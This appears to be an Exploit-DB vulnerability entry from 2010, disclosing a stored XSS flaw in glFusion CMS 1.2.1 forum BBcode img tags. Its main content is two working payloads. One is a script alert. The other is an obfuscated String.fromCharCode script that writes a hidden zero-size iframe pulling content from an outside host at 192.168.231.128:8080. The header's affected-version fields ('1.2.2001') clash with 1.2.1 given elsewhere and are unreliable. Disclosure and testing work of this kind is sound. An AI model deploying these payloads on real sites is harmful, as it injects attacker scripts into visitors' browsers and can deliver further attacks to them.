glfusion CMS 1.2.1 stored XSS via img tag

vendor:

glfusion CMS

by:

Saif El-Sherei

7.5

CVSS

HIGH

Stored XSS

CWE

Product Name: glfusion CMS

Affected Version From: 1.2.2001

Affected Version To: 1.2.2001

Patch Exists: NO

Related CWE: N/A

CPE: a:glfusion:glfusion:1.2.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Firefox 3.0.15

2010

glfusion CMS 1.2.1 stored XSS via img tag

Failure to sanitize the BBcode image tags in the forum posts allows attacker to perform XSS attacks. Attacker can't inject any 'src' attribute in the attack, so a second POC is used which involves writing a script using String.fromCharCode().

Mitigation:

Sanitize user input and filter out any malicious code.

Source

Exploit-DB raw data:

# Exploit Title: glfusion CMS 1.2.1 stored XSS via img tag
# Date: 14-1-2010
# Author: Saif El-Sherei
# Software Link:
www.glfusion.org/filemgmt/viewcat.php?cid=1<http://php.opensourcecms.com/scripts/redirect/download.php?id=33>
# Version: 1.2.1
# Tested on: Firefox 3.0.15

Info:
*
glFusion <http://www.glfusion.org/>* gives you the ability to easily create
websites and online communities complete with add-ons like Forums,
CAPTCHA/Spam filters, Calendars, File & Media Gallery management solutions,
WYSIWYG editors, and MooTools AJAX support, all right out of the box.


Details:

Failure to sanitize the BBcode image tags in the forum posts allows attacker
to perform XSS attacks. also noted that u can't inject any "src" attribute
in the attack so we use the second POC.


POC:

[img w=30><script>alert(123);</script> h=30]images/help.png[/img]

[img
w=30><script>document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,50,51,49,46,49,50,56,58,56,48,56,48,47,34,32,104,101,105,103,104,116,61,34,48,34,32,119,105,100,116,104,61,34,48,34,62));</script>
h=30]x[/img]

Regards,

Saif El-Sherei

OSCP